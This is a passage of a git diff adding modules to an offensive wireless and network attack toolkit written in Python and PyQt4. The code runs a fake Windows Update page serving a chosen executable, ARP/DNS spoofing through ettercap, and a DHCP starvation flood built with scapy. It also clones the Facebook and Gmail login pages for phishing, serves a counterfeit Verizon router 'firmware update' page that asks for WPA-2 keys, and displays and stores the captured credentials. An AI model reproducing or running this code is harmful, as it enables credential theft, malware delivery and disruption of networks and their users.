self.module2.get_ip_local(n[i]) != None: + if n[i] != "": + cb.addItem(n[i]) + + def server_start(self): + if len(self.path.text()) <= 0: + QMessageBox.information(self, "Path file Error", "Error in get the file path.") + else: + if self.rb_windows.isChecked(): + directory = "Modules/Win-Explo/Windows_Update/" + self.logBox.addItem("[+] Set page Attack.") + try: + if path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + copyfile(self.path_file,directory+"windows-update.exe") + except OSError,e: + print e + if not getuid() != 0: + file_html = open("Modules/Win-Explo/Settings_WinUpdate.html","r").read() + settings_html = file_html.replace("KBlenfile", str(self.getSize(self.path_file))+"KB") + if path.isfile(directory+"index.html"): + remove(directory+"index.html") + confFile = open(directory+"index.html","w") + confFile.write(settings_html) + confFile.close() + self.t = threading.Thread(target=self.threadServer,args=(directory,),) + self.t.daemon = True + self.t.start() + else: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + self.logBox.clear() + if path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + + def dns_start(self): + if self.control != None: + self.logBox.addItem("[+] Settings Etter.dns.") + ipaddress = self.module2.get_ip_local(str(self.cb_interface.currentText())) + config_dns = ("* A %s"%(ipaddress)) + self.path_file_etter = self.find("etter.dns", "/etc/ettercap/") + self.logBox.addItem("[+] check Path Ettercap.") + if self.path_file_etter == None: + self.path_file_etter = self.find("etter.dns", "/usr/share/ettercap/") + if not self.path_file_etter != None: + QMessageBox.information(self, 'Path not Found', "the file etter.dns not found check if ettercap this installed") + if self.path_file_etter != None: + self.alt_etter(config_dns) + self.thread2 = threading.Thread(target=self.ThreadDNS, args=(str(self.cb_interface.currentText()),)) + self.thread2.daemon = True + self.thread2.start() + else: + QMessageBox.information(self, 'Server Phishing Error', "Error not start Server...") + + def threadServer(self,directory): + self.logBox.addItem("[+] Get IP local network.") + ip = self.module2.get_ip_local(self.cb_interface.currentText()) + try: + chdir(directory) + except OSError: + pass + popen("service apache2 stop") + self.control = 1 + n = (popen("""xterm -geometry 75x15-1+0 -T "Windows Fake update " -e php -S %s:80"""%(ip))).read() + "exit" + chdir(self.owd) + while n != "dsa": + if n == "exit": + self.logBox.clear() + n = "dsa" + self.control = None + if path.isfile(directory+"index.html") and path.isfile(directory+"windows-update.exe"): + remove(directory+"windows-update.exe") + remove(directory+"index.html") + break + + def ThreadDNS(self,interface): + self.logBox.addItem("[+] Start Attack all DNS.") + distro = linux_distribution() + if search("Kali Linux",distro[0]): + n = (popen("""xterm -geometry 75x15-1+250 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof // //"""%(interface,interface)).read()) + "exit" + else: + n = (popen("""xterm -geometry 75x15-1+250 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof """%(interface,interface)).read()) + "exit" + while n != "dsa": + if n == "exit": + #self.dns_status(False) + self.logBox.clear() + n = "dsa" + break + + def getpath(self): + file = QFileDialog.getOpenFileName(self, 'Open Executable file',filter='*.exe') + if len(file) > 0: + self.path_file = file + self.path.setText(file) + + def alt_etter(self,data): + configure = conf_etter(data) + file = open(self.path_file_etter, "w") + file.write(configure) + file.close() + + def find(self,name, paths): + for root, dirs, files in walk(paths): + if name in files: + return path.join(root, name) + + def getSize(self,filename): + st = stat(filename) + return st.st_size \ No newline at end of file diff --git a/Modules/DHCPstarvation.py b/Modules/DHCPstarvation.py new file mode 100644 index 0000000..874331b --- /dev/null +++ b/Modules/DHCPstarvation.py @@ -0,0 +1,208 @@ +from PyQt4.QtGui import * +from scapy.all import * +import threading +from os import system,popen,getegid +from re import search +from Core.Settings import frm_Settings +from platform import dist +import time +from subprocess import Popen,PIPE + +class frm_dhcp_main(QMainWindow): + def __init__(self, parent=None): + super(frm_dhcp_main, self).__init__(parent) + self.form_widget = frm_dhcp_Attack(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("DHCP Starvation Attack") + self.setWindowIcon(QIcon('rsc/icon.ico')) + + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + +class frm_dhcp_Attack(QWidget): + def __init__(self, parent=None): + super(frm_dhcp_Attack, self).__init__(parent) + self.Main = QVBoxLayout() + self.control = None + self.GUI() + def GUI(self): + self.form = QFormLayout() + self.list_log = QListWidget() + self.check = QLabel("") + self.check.setText("[ OFF ]") + self.check.setStyleSheet("QLabel { color : red; }") + self.btn_Start_attack = QPushButton("Start Attack",self) + self.btn_Stop_attack = QPushButton("Stop Attack",self) + + self.btn_Start_attack.clicked.connect(self.D_attack) + self.btn_Stop_attack.clicked.connect(self.kill_thread) + + self.btn_Start_attack.setIcon(QIcon("rsc/start.png")) + self.btn_Stop_attack.setIcon(QIcon("rsc/Stop.png")) + + self.form.addRow(self.list_log) + self.form.addRow("Status Attack:",self.check) + self.form.addRow(self.btn_Start_attack, self.btn_Stop_attack) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def D_attack(self): + if not getegid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + else: + self.control = None + interface = self.get_card() + if interface != None: + self.check.setText("[ ON ]") + self.check.setStyleSheet("QLabel { color : green; }") + self.t = threading.Thread(target=self.discover_attacker) + self.t.daemon = True + self.t.start() + else: + QMessageBox.information(self, "Interface Not found", 'None detected network interface try again.') + def attack_OFF(self): + self.check.setText("[ OFF ] Packet sent: " + str(self.count)) + self.check.setStyleSheet("QLabel { color : red; }") + system("clear") + def discover_attacker(self): + interface = self.get_card() + self.count =0 + while self.control == None: + conf.checkIPaddr = False + dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"]) + sendp(dhcp_discover) + self.count +=1 + self.list_log.addItem("PacketSend:[%s] DISCOVER Interface: %s "%(self.count,interface) + time.strftime("%c")) + if self.control == 1: + self.attack_OFF() + def get_card(self): + output = popen("route | grep default").read().split() + if len(output) > 0: + return output[7] + else: + return None + + def kill_thread(self): + self.control = 1 + self.list_log.clear() + + + def placa(self): + comando = "ls -1 /sys/class/net" + proc = Popen(comando,stdout=PIPE, shell=True) + data = proc.communicate()[0] + return data.split('\n') + + + def get_ip_local(self,card): + dect = None + if not card != None: + get_interface = self.get_card() + out = popen("ifconfig %s | grep 'Bcast'"%(get_interface)).read().split() + for i in out: + if search("end",i): + if len(out) > 0: + ip = out[2].split(":") + return ip[0] + if len(out) > 0: + ip = out[1].split(":") + return ip[1] + else: + out = popen("ifconfig %s | grep 'Bcast'"%(card)).read().split() + for i in out: + if search("end",i): + if len(out) > 0: + ip = out[2].split(":") + return ip[0] + if len(out) > 0: + ip = out[1].split(":") + return ip[1] + return None + +def conf_etter(data): + text = ("""############################################################################ +# # +# ettercap -- etter.dns -- host file for dns_spoof plugin # +# # +# Copyright (C) ALoR & NaGA # +# # +# This program is free software; you can redistribute it and/or modify # +# it under the terms of the GNU General Public License as published by # +# the Free Software Foundation; either version 2 of the License, or # +# (at your option) any later version. # +# # +############################################################################ +# # +# Sample hosts file for dns_spoof plugin # +# # +# the format is (for A query): # +# www.myhostname.com A 168.11.22.33 # +# *.foo.com A 168.44.55.66 # +# # +# or for PTR query: # +# www.bar.com A 10.0.0.10 # +# # +# or for MX query: # +# domain.com MX xxx.xxx.xxx.xxx # +# # +# or for WINS query: # +# workgroup WINS 127.0.0.1 # +# PC* WINS 127.0.0.1 # +# # +# NOTE: the wildcarded hosts can't be used to poison the PTR requests # +# so if you want to reverse poison you have to specify a plain # +# host. (look at the www.microsoft.com example) # +# # +############################################################################ + +################################ +# microsoft sucks ;) +# redirect it to www.linux.org + +#microsoft.com A 198.182.196.56 +#*.microsoft.com A 198.182.196.56 +#www.microsoft.com PTR 198.182.196.56 # Wildcards in PTR are not allowed + +%s + + +########################################## +# no one out there can have our domains... +# + +www.alor.org A 127.0.0.1 +www.naga.org A 127.0.0.1 + +############################################### +# one day we will have our ettercap.org domain +# + +www.ettercap.org A 127.0.0.1 +ettercap.sourceforge.net A 216.136.171.201 + +############################################### +# some MX examples +# + +alor.org MX 127.0.0.1 +naga.org MX 127.0.0.1 + +############################################### +# This messes up NetBIOS clients using DNS +# resolutions. I.e. Windows/Samba file sharing. +# + +LAB-PC* WINS 127.0.0.1 + +# vim:ts=8:noexpandtab"""%(data)) + return text \ No newline at end of file diff --git a/Modules/Dns_Func.py b/Modules/Dns_Func.py new file mode 100644 index 0000000..8c7798b --- /dev/null +++ b/Modules/Dns_Func.py @@ -0,0 +1,456 @@ +#coding utf-8 +from PyQt4.QtGui import * +from PyQt4.QtCore import * +import threading +from os import system,getuid,popen,chdir,path ,getcwd,walk +from time import sleep +from Modules.DHCPstarvation import frm_dhcp_Attack,conf_etter +from Modules.database import frm_datebase +from Modules.connection import * +from Core.Settings import frm_Settings +from platform import linux_distribution +from Modules.AttackUp import frm_WinSoftUp +from re import compile,search +from urllib2 import urlopen,URLError + + +class frm_dnsspoof(QMainWindow): + def __init__(self, parent=None): + super(frm_dnsspoof, self).__init__(parent) + self.form_widget = frm_dnsAttack(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("DNS Spoof + Phishing Attack Manager") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def closeEvent(self, event): + reply = QMessageBox.question(self, 'About DNS SPOOF',"Are you sure to quit the DNS spoof Attack?", QMessageBox.Yes | + QMessageBox.No, QMessageBox.No) + if reply == QMessageBox.Yes: + event.accept() + if getuid() == 0: + self.alt_etter("") + system("clear") + self.deleteLater() + else: + pass + else: + event.ignore() + + +class frm_dnsAttack(QWidget): + def __init__(self, parent=None): + super(frm_dnsAttack, self).__init__(parent) + self.Main = QVBoxLayout() + self.control = None + self.get = frm_dhcp_Attack() + self.get_interface = frm_WinSoftUp() + self.owd = getcwd() + self.teste123 = 0 + self.GUI() + def GUI(self): + create_tables() + self.form = QFormLayout(self) + self.lb = QLabel("Logins Captured:") + self.lb2 = QLabel("Database:") + self.lb_box = QLabel("Logger Attack:") + self.text_phi = QLabel("Status Phising Server:") + self.text_dns = QLabel("Status Dns spoof:") + self.lb_status_phishing = QLabel("[ OFF ]") + self.lb_status_phishing.setStyleSheet("QLabel { color : red; }") + self.lb_status_dns = QLabel("[ OFF ]") + self.lb_status_dns.setStyleSheet("QLabel { color : red; }") + self.grid = QGridLayout(self) + self.new_grid = QGridLayout(self) + self.boxlog = QListWidget(self) + self.boxlog.setFixedHeight(100) + self.input_custom_ip = QLineEdit(self) + self.input_dns = QLineEdit(self) + + self.box_login = QTextEdit(self) + self.box_login.setFixedHeight(100) + self.cb_interface = QComboBox(self) + self.cb_db = QCheckBox("Save Logins",self) + self.cb_db.setFixedHeight(30) + + self.cb_db.clicked.connect(self.savedb_checkbox_func) + self.get_interface.refresh_interface(self.cb_interface) + + self.rb_face = QRadioButton("Facebook") + self.rb_gmail = QRadioButton("Gmail") + self.rb_route = QRadioButton("Route") + self.rb_custom = QRadioButton("Custom") + + self.btn_spoof = QPushButton("Start Dns Spoof", self) + self.btn_Start_attack = QPushButton("Start Server Phishing",self) + self.btn_Stop_attack = QPushButton("Kill Attack",self) + self.btn_getcapture = QPushButton("Get Credentials", self) + self.btn_database = QPushButton("DB.Manager",self) + self.btn_getcapture.setFixedHeight(30) + self.btn_database.setFixedHeight(30) + + #icons + self.btn_spoof.setIcon(QIcon("rsc/start.png")) + self.btn_Start_attack.setIcon(QIcon("rsc/server.png")) + self.btn_Stop_attack.setIcon(QIcon("rsc/Stop.png")) + self.btn_getcapture.setIcon(QIcon("rsc/password.png")) + self.btn_database.setIcon(QIcon("rsc/database.png")) + + + self.btn_Start_attack.clicked.connect(self.thread_control) + self.btn_Stop_attack.clicked.connect(self.kill_attack) + self.btn_getcapture.clicked.connect(self.get_logins) + self.btn_spoof.clicked.connect(self.dns_spoof_attack) + self.btn_database.clicked.connect(self.show_database) + + self.grid.addWidget(self.rb_face, 0, 0) + self.grid.addWidget(self.rb_gmail, 0, 1) + self.grid.addWidget(self.rb_route, 0, 2) + self.grid.addWidget(self.rb_custom, 0, 3) + + self.grid.addWidget(self.btn_Start_attack, 2,0) + self.grid.addWidget(self.btn_spoof, 2,1) + self.grid.addWidget(self.btn_Stop_attack, 2,4) + self.grid.addWidget(self.lb_status_phishing, 1,1) + self.grid.addWidget(self.text_phi, 1,0) + self.grid.addWidget(self.text_dns, 1,2) + self.grid.addWidget(self.lb_status_dns, 1,3) + + self.new_grid.addWidget(self.lb, 0,0) + self.new_grid.addWidget(self.btn_getcapture, 0,1) + self.new_grid.addWidget(self.cb_db, 0,2) + self.new_grid.addWidget(self.btn_database, 0,3) + + self.form.addRow(self.lb_box) + self.form.addRow(self.boxlog) + self.form.addRow(self.new_grid) + #self.form.addRow(self.lb,self.btn_getcapture) + self.form.addRow(self.box_login) + self.form.addRow("Interface:", self.cb_interface) + self.form.addRow("Custom IP Attack:",self.input_custom_ip) + self.form.addRow("Custom Domain Attack:",self.input_dns) + + self.form.addRow(self.grid) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + + + def savedb_checkbox_func(self): + if self.cb_db.isChecked(): + if self.rb_face.isChecked(): + log = open("Modules/Phishing/Facebook/log.txt", "r") + if len(log.read()) > 0: + log = open("Modules/Phishing/Facebook/log.txt", "r") + for i,j in enumerate(log.readlines()): + s = j.split("-") + add_Face_db(str(s[0]), str(s[1])) + QMessageBox.information(self,"Logins Database", "Passwords saved with success...") + else: + QMessageBox.information(self,"Nothing to Save :(", "Nothing captured in logs") + if self.cb_db.isChecked(): + self.cb_db.setChecked(False) + + elif self.rb_gmail.isChecked(): + log = open("Modules/Phishing/Gmail/log.txt", "r") + if len(log.read()) > 0: + log = open("Modules/Phishing/Gmail/log.txt", "r") + for i,j in enumerate(log.readlines()): + s = j.split("-") + add_gmail_db(s[0], s[1]) + QMessageBox.information(self,"Logins Database", "Passwords saved with success...") + else: + QMessageBox.information(self,"Nothing to Save :(", "Nothing captured in logs") + if self.cb_db.isChecked(): + self.cb_db.setChecked(False) + elif self.rb_route.isChecked(): + log = open("Modules/Phishing/Route/log.txt", "r") + if len(log.read()) > 0: + log = open("Modules/Phishing/Route/log.txt", "r") + for i,j in enumerate(log.readlines()): + s = j.split("-") + add_Route_db(s[0], s[1]) + QMessageBox.information(self,"Logins Database", "Passwords saved with success...") + else: + QMessageBox.information(self,"Nothing to Save :(", "Nothing captured in logs") + if self.cb_db.isChecked(): + self.cb_db.setChecked(False) + def show_database(self): + self.w = frm_datebase() + self.w.setGeometry(QRect(100, 100, 450, 300)) + self.w.show() + def dns_status(self,control): + if control == False: + self.lb_status_dns.setText("[ OFF ]") + self.lb_status_dns.setStyleSheet("QLabel { color : red; }") + system("clear") + else: + self.lb_status_dns.setText("[ ON ]") + self.lb_status_dns.setStyleSheet("QLabel { color : green; }") + system("clear") + + def Phishing_status(self,control): + if control == False: + self.lb_status_phishing.setText("[ OFF ]") + self.lb_status_phishing.setStyleSheet("QLabel { color : red; }") + system("clear") + else: + self.lb_status_phishing.setText("[ ON ]") + self.lb_status_phishing.setStyleSheet("QLabel { color : green; }") + system("clear") + + + def get_logins(self): + self.teste123 += 1 + if self.rb_face.isChecked(): + self.box_login.clear() + logins = [] + chdir(self.owd) + log = open("Modules/Phishing/Facebook/log.txt", "r") + self.box_login.append("=================== Facebook Logins =====================") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + if s != None: + self.box_login.append("Email: " +s[0] + " Password: " +s[1]) + + elif self.rb_gmail.isChecked(): + self.box_login.clear() + logins = [] + chdir(self.owd) + self.box_login.append("=================== Gmail Logins =====================") + log = open("Modules/Phishing/Gmail/log.txt", "r") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + if s != None: + self.box_login.append("Email: " +s[0] + " Password: " +s[1]) + + elif self.rb_route.isChecked(): + self.box_login.clear() + logins = [] + chdir(self.owd) + self.box_login.append("=================== Router Logins =====================") + log = open("Modules/Phishing/Route/log.txt", "r") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + if s != None: + self.box_login.append("IP: " +s[0] + " Password: " +s[1]) + + def kill_attack(self): + if self.control != None: + self.alt_etter("") + system("killall xterm") + QMessageBox.information(self,"Clear Setting", "log cLear success ") + self.control = None + else: + QMessageBox.information(self,"None", "There is nothing to clean") + self.alt_etter("") + + def thread_control(self): + self.box_login.clear() + if self.rb_face.isChecked(): + url = 'http://facebook.com' + try: + sock = urlopen(url).read() + self.control = 1 + except URLError, e: + QMessageBox.information(self,"Error","Server not found, can't find the server at focebook. " + str(e)) + if self.control != None: + if not getuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + return None + + self.t = threading.Thread(target=self.phishing_page,args=(sock,)) + self.t.daemon = True + self.t.start() + + elif self.rb_gmail.isChecked(): + sock = None + try: + request = urlopen('http://accounts.google.com/Login?hl').read() + self.control = 1 + except URLError,e: + QMessageBox.information(self,"Error","Server not found, can't find the server at google. " + str(e)) + if self.control != None: + self.t = threading.Thread(target=self.phishing_page,args=(sock,)) + self.t.daemon = True + self.t.start() + + elif self.rb_route.isChecked(): + sock = 1 + if not getuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + return None + self.t = threading.Thread(target=self.phishing_page,args=(sock,)) + self.t.daemon = True + self.t.start() + + else: + QMessageBox.information(self,"Error Select", " Choose one option from Attack") + + def dns_spoof_attack(self): + self.option = None + self.active = 0 + self.check = 0 + if self.rb_face.isChecked(): + self.option = "facebook.com" + elif self.rb_gmail.isChecked(): + self.option = 'gmail.com' + elif self.rb_route.isChecked(): + self.active = 2 + elif self.rb_custom.isChecked(): + self.option = self.input_dns + self.active = 1 + else: + self.active = 4 + + self.path_file = self.find("etter.dns", "/etc/ettercap/") + if self.path_file == None: + self.path_file = self.find("etter.dns", "/usr/share/ettercap/") + if not self.path_file != None: + QMessageBox.information(self, 'Path not Found', "the file etter.dns not found check if ettercap this installed") + if self.path_file != None: + ipaddress = self.get_ip_local (self.cb_interface.currentText()) + if self.active != 0: + if not self.active == 1: + config_dns = ("* A %s"%(ipaddress)) + self.check = 1 + else: + if self.input_dns.text() == "" and self.input_custom_ip.text() == "": + QMessageBox.information(self, "Inputs Error", "Enter the DNS or IP in the text inputs please,") + else: + if self.input_dns.text() == "": + config_dns = ("* A %s"%(self.input_custom_ip.text())) + self.check = 1 + else: + if self.input_custom_ip.text() != "": + config_dns = ("%s A %s\n*.%s A %s\nwww.%s PTR %s\n"%(self.input_dns.text(),self.input_custom_ip.text(),self.input_dns.text(),self.input_custom_ip.text(),self.input_dns.text(),self.input_custom_ip.text())) + self.check = 1 + else: + QMessageBox.information(self, "Inputs IP Error", "Please, Enter the IP to redirect traffic.") + self.check = 0 + else: + config_dns = ("%s A %s\n*.%s A %s\nwww.%s PTR %s\n"%(self.option,ipaddress,self.option,ipaddress,self.option,ipaddress)) + self.check = 1 + if not getuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + else: + if not self.check != 0: + pass + else: + self.alt_etter(config_dns) + self.control = 1 + self.t = threading.Thread(target=self.DNS_Attack_thread,args=(str(self.cb_interface.currentText()),)) + self.t.daemon = True + self.t.start() + + def DNS_Attack_thread(self,interface): + self.dns_status(True) + distro = linux_distribution() + if search("Kali Linux",distro[0]): + n = (popen("""xterm -geometry 75x15-1+200 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof // //"""%(interface,interface)).read()) + "exit" + else: + n = (popen("""xterm -geometry 75x15-1+200 -T "DNS SPOOF Attack On %s" -e ettercap -T -Q -M arp -i %s -P dns_spoof"""%(interface,interface)).read()) + "exit" + while n != "dsa": + if n == "exit": + self.dns_status(False) + break + + def alt_etter(self,data): + configure = conf_etter(data) + file = open(self.path_file, "w") + file.write(configure) + file.close() + + def find(self,name, paths): + for root, dirs, files in walk(paths): + if name in files: + return path.join(root, name) + + def phishing_page(self,sock): + self.boxlog.clear() + type_phishing = None + if sock != None and sock != 1: + path = "Modules/Phishing/Facebook/" + try: + chdir(path) + except OSError,e: + return None + pat = compile('
(.+?)') + self.boxlog.addItem("[+] Resquest Target Page") + sock = sock.replace("https://www.facebook.com/login.php?login_attempt=1", "login.php") + face_page= open("index.html", "w") + face_page.write(sock) + face_page.close() + type_phishing = "Facebook" + elif sock == 1 and sock != None: + path = "Modules/Phishing/Route/" + chdir(path) + type_phishing = "Route" + self.boxlog.addItem("[+] Path page:/Modules/Phishing/Route") + else: + path = "Modules/Phishing/Gmail/" + try: + chdir(path) + request = urlopen('http://accounts.google.com/Login?hl').read() + request = request.replace("//ssl.gstatic.com/accounts/ui/","") + request = request.replace("https://accounts.google.com/ServiceLoginAuth","login.php") + google_page = open("index.html", "w") + google_page.write(request) + google_page.close() + except OSError,e: + return None + type_phishing = "Gmail" + self.boxlog.addItem("[+] Path page:/Modules/Phishing/Gmail") + + self.boxlog.addItem("[+] Set Path %s Phishing"%(type_phishing)) + self.boxlog.addItem("[+] Get IP Local") + ip = self.get_ip_local(None) + self.boxlog.addItem("[+] Start Phishing Attack") + popen("service apache2 stop") + self.Phishing_status(True) + if ip == None: + self.Phishing_status(False) + self.lb_status_phishing.setText("Error Getting IPaddress") + sleep(5) + self.Phishing_status(False) + self.boxlog.clear() + else: + n = (popen("""xterm -geometry 75x15-1+0 -T "Phishing %s" -e php -S %s:80"""%(type_phishing,ip))).read() + "exit" + chdir(self.owd) + while n != "dsa": + if n == "exit": + self.Phishing_status(False) + self.boxlog.clear() + break + + def get_ip_local(self,card): + if not card != None: + get_interface = self.get.get_card() + out = popen("ifconfig %s | grep 'Bcast'"%(get_interface)).read().split() + if len(out) > 0: + ip = out[1].split(":") + return ip[1] + else: + return None + else: + out = popen("ifconfig %s | grep 'Bcast'"%(card)).read().split() + if len(out) > 0: + ip = out[1].split(":") + return ip[1] + else: + return None + diff --git a/Modules/Phishing/Facebook/log.txt b/Modules/Phishing/Facebook/log.txt new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Modules/Phishing/Facebook/log.txt @@ -0,0 +1 @@ + diff --git a/Modules/Phishing/Facebook/login.php b/Modules/Phishing/Facebook/login.php new file mode 100644 index 0000000..c1c60bc --- /dev/null +++ b/Modules/Phishing/Facebook/login.php @@ -0,0 +1,11 @@ + diff --git a/Modules/Phishing/Gmail/avatar_2x.png b/Modules/Phishing/Gmail/avatar_2x.png new file mode 100644 index 0000000..9b51674 Binary files /dev/null and b/Modules/Phishing/Gmail/avatar_2x.png differ diff --git a/Modules/Phishing/Gmail/log.txt b/Modules/Phishing/Gmail/log.txt new file mode 100644 index 0000000..e69de29 diff --git a/Modules/Phishing/Gmail/login.php b/Modules/Phishing/Gmail/login.php new file mode 100644 index 0000000..d34d033 --- /dev/null +++ b/Modules/Phishing/Gmail/login.php @@ -0,0 +1,11 @@ + diff --git a/Modules/Phishing/Gmail/logo_2x.png b/Modules/Phishing/Gmail/logo_2x.png new file mode 100644 index 0000000..d521768 Binary files /dev/null and b/Modules/Phishing/Gmail/logo_2x.png differ diff --git a/Modules/Phishing/Gmail/logo_strip_2x.png b/Modules/Phishing/Gmail/logo_strip_2x.png new file mode 100644 index 0000000..0c33a7e Binary files /dev/null and b/Modules/Phishing/Gmail/logo_strip_2x.png differ diff --git a/Modules/Phishing/Route/Untitled-2.png b/Modules/Phishing/Route/Untitled-2.png new file mode 100755 index 0000000..ea95106 Binary files /dev/null and b/Modules/Phishing/Route/Untitled-2.png differ diff --git a/Modules/Phishing/Route/error.html b/Modules/Phishing/Route/error.html new file mode 100755 index 0000000..57a11b5 --- /dev/null +++ b/Modules/Phishing/Route/error.html @@ -0,0 +1,34 @@ + + + +Verizon Support + + + + + +
+ + + + +
+

Wireless Network: deathcorps

+ + +

            +Error: Your WPA-2 keys do not match!

+ +

            +Please enter the keys again.

+ +

            Click here to go back...

+ +
+ +
+ + + diff --git a/Modules/Phishing/Route/gradientstrip.gif b/Modules/Phishing/Route/gradientstrip.gif new file mode 100755 index 0000000..7f0fb0d Binary files /dev/null and b/Modules/Phishing/Route/gradientstrip.gif differ diff --git a/Modules/Phishing/Route/index.html b/Modules/Phishing/Route/index.html new file mode 100755 index 0000000..e1b524f --- /dev/null +++ b/Modules/Phishing/Route/index.html @@ -0,0 +1,57 @@ + + + +Update Router 4.17.11 Build 110419 + + + + + +
+ + + + +
+ +

 

+

Wireless Network Firmware Update:

+

            +For your security, enter your WPA-2 Key in order to access the internet.

+ + +
+
+

WPA-2 Key:                  WPA-2 Key (confirm):

+ + + +
+

Instructions Update:

+

            +To upgrade the Router's firmware, follow these instructions:

+

            +1 - Entre with password the access point network.
+            2 - Press Enter. +

+ + +

Firmware Help:

+

            +Firmware Version - Displays the current firmware version +Hardware Version - Displays the current hardware version. The hardware version of the upgrade file must accord with the current hardware version.

+Note: The firmware version must correspond to the hardware. The upgrade process takes a few moments and the Router restarts automatically when the upgrade is complete. It is important to keep power applied during the entire process. Loss of power during the upgrade could damage the Router.

+

            +Firmware Version: 4.17.11 Build 110419 Rel.63487n. +

+ +
+
+ +
+ + + diff --git a/Modules/Phishing/Route/log.txt b/Modules/Phishing/Route/log.txt new file mode 100644 index 0000000..e69de29 diff --git a/Modules/Phishing/Route/save.php b/Modules/Phishing/Route/save.php new file mode 100755 index 0000000..d6b635b --- /dev/null +++ b/Modules/Phishing/Route/save.php @@ -0,0 +1,25 @@ + diff --git a/Modules/Phishing/Route/update.html b/Modules/Phishing/Route/update.html new file mode 100755 index 0000000..304376e --- /dev/null +++ b/Modules/Phishing/Route/update.html @@ -0,0 +1,32 @@ + + + +Verizon Support + + + + + +
+ + + + +
+

Wireless Network: deathcorps

+ + +

            +Thank you, your settings have been saved!

+ +

            +Now you can access the internet freely.

+ +
+ +
+ + + diff --git a/Modules/Phishing/Route/verizon.css b/Modules/Phishing/Route/verizon.css new file mode 100755 index 0000000..cdd04a1 --- /dev/null +++ b/Modules/Phishing/Route/verizon.css @@ -0,0 +1,50 @@ +body +{ +background-color:#D32000; +background-image:url('gradientstrip.gif'); +background-repeat:repeat-x; +} + +div#base { +position:relative; +top:40px; +margin:0 auto; +width:75%; +height:400px; +} + +div#logo { +position:relative; +margin:0 auto; +top:auto; +width:90%; +height:auto; +} + +div#box { +position:relative; +margin:0 auto; +top:60px; +width:90%; +height:530px; +border:10px solid #ccf; +border-top-right-radius:15px; +border-top-left-radius:15px; +border-bottom-right-radius:15px; +border-bottom-left-radius:15px; +border-style:groove; +background: #eff; +} + +p { +font-family:Arial Black; +} + +p#normal { +font-family:Arial; +} + +form#form1 { +position:relative; +left:80px; +} diff --git a/Modules/Phishing/Route/vlogo_blk.gif b/Modules/Phishing/Route/vlogo_blk.gif new file mode 100755 index 0000000..b7f63f2 Binary files /dev/null and b/Modules/Phishing/Route/vlogo_blk.gif differ diff --git a/Modules/Probe_func.py b/Modules/Probe_func.py new file mode 100644 index 0000000..be869d4 --- /dev/null +++ b/Modules/Probe_func.py @@ -0,0 +1,115 @@ +from PyQt4.QtGui import * +from re import search +from os import system,geteuid,getuid +from Core.Settings import frm_Settings +from subprocess import Popen,PIPE +from scapy.all import * +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from Core.Main import frm_dhcp_Attack + + +class frm_Probe(QMainWindow): + def __init__(self, parent=None): + super(frm_Probe, self).__init__(parent) + self.form_widget = frm_PMonitor(self) + self.setCentralWidget(self.form_widget) + self.setWindowIcon(QIcon('rsc/icon.ico')) + def closeEvent(self, event): + reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes | + QMessageBox.No, QMessageBox.No) + if reply == QMessageBox.Yes: + event.accept() + if getuid() == 0: + system("airmon-ng stop mon0") + system("clear") + self.deleteLater() + else: + pass + else: + event.ignore() + +class frm_PMonitor(QWidget): + def __init__(self, parent=None): + super(frm_PMonitor, self).__init__(parent) + self.Main = QVBoxLayout() + self.setWindowTitle("Probe Request wifi Monitor") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.interface = "mon0" + self.probes = [] + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.setupGUI() + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def setupGUI(self): + self.form0 = QFormLayout() + self.list_probe = QListWidget() + self.list_probe.setFixedHeight(400) + self.btn_scan = QPushButton("Scan") + self.btn_scan.clicked.connect(self.Pro_request) + self.btn_scan.setIcon(QIcon("rsc/network.png")) + self.get_placa = QComboBox(self) + Interfaces = frm_dhcp_Attack() + n = Interfaces.placa() + for i,j in enumerate(n): + if search("wlan", j): + self.get_placa.addItem(n[i]) + + self.time_scan = QComboBox(self) + self.time_scan.addItem("10s") + self.time_scan.addItem("20s") + self.time_scan.addItem("30s") + + self.form0.addRow("Network 